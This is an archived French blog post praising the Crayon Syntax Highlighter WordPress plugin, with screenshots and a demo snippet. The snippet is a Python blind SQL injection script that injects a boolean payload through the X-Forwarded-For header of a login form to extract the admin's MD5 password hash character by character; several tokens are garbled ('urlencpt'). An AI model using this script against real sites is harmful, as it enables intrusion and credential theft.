PROJET AUTOBLOG


Techbrunch

source: Techbrunch

⇐ retour index

Mise à jour

Mise à jour de la base de données, veuillez patienter...

Le plugin ultime pour afficher du code dans WordPress

mardi 14 août 2012 à 00:15

J’ai pas mal galéré avant de trouver le plugin parfait pour afficher du code dans un article mais je pense que j’ai trouvé le plugin ultime.

Ce plugin c’est Crayon Syntax Highlighter, développé en PHP il utilise la librairie javascript jQuery afin d’afficher avec la coloration un très grand nombre de langages. Crayon peut afficher du code à partir d’une URL, d’un fichier ou bien d’un article. Crayon permet d’ajouter simplement de nouveaux langages grâce à l’utilisation d’expressions régulières.

Les principaux avantages de Crayon sont :

crayon syntax highlighter1 Le plugin ultime pour afficher du code dans Wordpress

Editeur visuel

 

Ci-dessous un exemple de code utilisant plusieurs langages de programmation :

crayon syntax highlighter4 Le plugin ultime pour afficher du code dans Wordpress

Une petite démo avec un code que j’avais présenté dans un article précédent :

import httplib
import urllib
import re

password = ""

md5 = ['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f']
cpt = 0
i = 1

while i<=32:

	print 'Recherche du caractère '+str(i)
	if cpt == 16:
		cpt = 0

	print 'Test caractere : '+md5[cpt]
	params = urllib.urlencpt({'login': 'admin', 'pwd': 'password'})
	headers = {"Content-type": "application/x-www-form-urlencptd","Accept": "text/plain","x-forwarded-for":"127.0.0.1' or ascii(substring(pwd,"+str(i)+",1))="+str(ord(md5[cpt]))+"#"}
	conn = httplib.HTTPConnection("www.site.com:80")
	conn.request("POST", "/index.php", params, headers)
	response = conn.getresponse()
	print response.status, response.reason
	data = response.read()
	conn.close()

	if not(re.search('incorrect',data)):
		print 'Caractère trouvé : '+md5[cpt]
		password += md5[cpt]
		i += 1
		cpt = 0
	else:
		cpt += 1

print 'MD5 = '+str(password)

Si ce plugin vous a convaincu, il est téléchargeable directement sur Wordress.org.

PS : Le plugin ne fonctionne pas uniquement avec WordPress, il suffit d’un environnement PHP comme expliqué dans cet article.

 Liens :

 

crayon
Unknown feed type?!